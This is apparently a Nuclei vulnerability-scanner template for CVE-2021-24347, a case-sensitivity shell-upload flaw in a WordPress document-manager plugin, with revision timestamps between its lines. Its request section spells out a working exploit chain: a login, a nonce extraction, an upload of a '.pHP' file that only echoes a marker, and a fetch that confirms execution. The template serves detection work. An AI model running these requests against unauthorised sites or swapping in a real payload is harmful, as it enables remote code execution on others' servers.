2023-03-05 13:42:10 +00:00
id : CVE-2021-24347
info :
2023-03-27 17:46:47 +00:00
name : WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload
2023-03-05 13:42:10 +00:00
author : theamanrawat
severity : high
description : |
2023-03-27 17:46:47 +00:00
WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still be uploaded by changing the file extension's case, for example, from php to pHP.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress site.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 4.22.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/8f6e82d5-c0e9-468e-acb8-7cd549f6a45a
- https://wordpress.org/plugins/sp-client-document-manager/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24347
2023-04-12 10:55:48 +00:00
- http://packetstormsecurity.com/files/163434/WordPress-SP-Project-And-Document-Manager-4.21-Shell-Upload.html
2024-05-31 19:23:20 +00:00
- https://github.com/Hacker5preme/Exploits
2023-03-05 13:42:10 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2023-03-05 14:19:20 +00:00
cvss-score : 8.8
2023-03-05 13:42:10 +00:00
cve-id : CVE-2021-24347
2023-03-05 14:19:20 +00:00
cwe-id : CWE-178
2024-05-31 19:23:20 +00:00
epss-score : 0.96895
epss-percentile : 0.99708
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:smartypantsplugins:sp_project_\&_document_manager:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : smartypantsplugins
product : sp_project_\&_document_manager
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,sp-client-document-manager,wpscan,wp-plugin,wp,authenticated,wordpress,rce,packetstorm,intrusive,smartypantsplugins
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=sp-client-document-manager-fileview HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1 HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryaeBrxrKJzAF0Tgfy
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="cdm_upload_file_field"
{{nonce}}
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="_wp_http_referer"
/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="dlg-upload-name"
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="dlg-upload-file[]"; filename=""
Content-Type : application/octet-stream
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="dlg-upload-file[]"; filename="{{randstr}}.pHP"
Content-Type : image/svg+xml
<?php
echo "CVE-2021-24347";
? >
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="dlg-upload-notes"
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy
Content-Disposition : form-data; name="sp-cdm-community-upload"
Upload
------WebKitFormBoundaryaeBrxrKJzAF0Tgfy--
- |
GET /wp-content/uploads/sp-client-document-manager/1/{{to_lower("{{randstr}}.pHP")}} HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- contains(header_4, "text/html")
2023-03-05 13:42:10 +00:00
- status_code_4 == 200
- contains(body_4, "CVE-2021-24347")
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
2023-07-11 19:49:27 +00:00
- name="cdm_upload_file_field" value="([0-9a-zA-Z]+)"
2023-03-05 13:42:10 +00:00
internal : true
2024-06-01 06:53:00 +00:00
# digest: 4b0a0048304602210085d38a81c8b989c8722beb364cf0c9ec86d6b33d5a29b2bb78551d28536a08db022100eb0b52da08f13e8b8eebf84715feb0dafd2bd2b5fdc3ffdc9a2f2e0f8c713b85:922c64590222798bb761d5b6d8e72950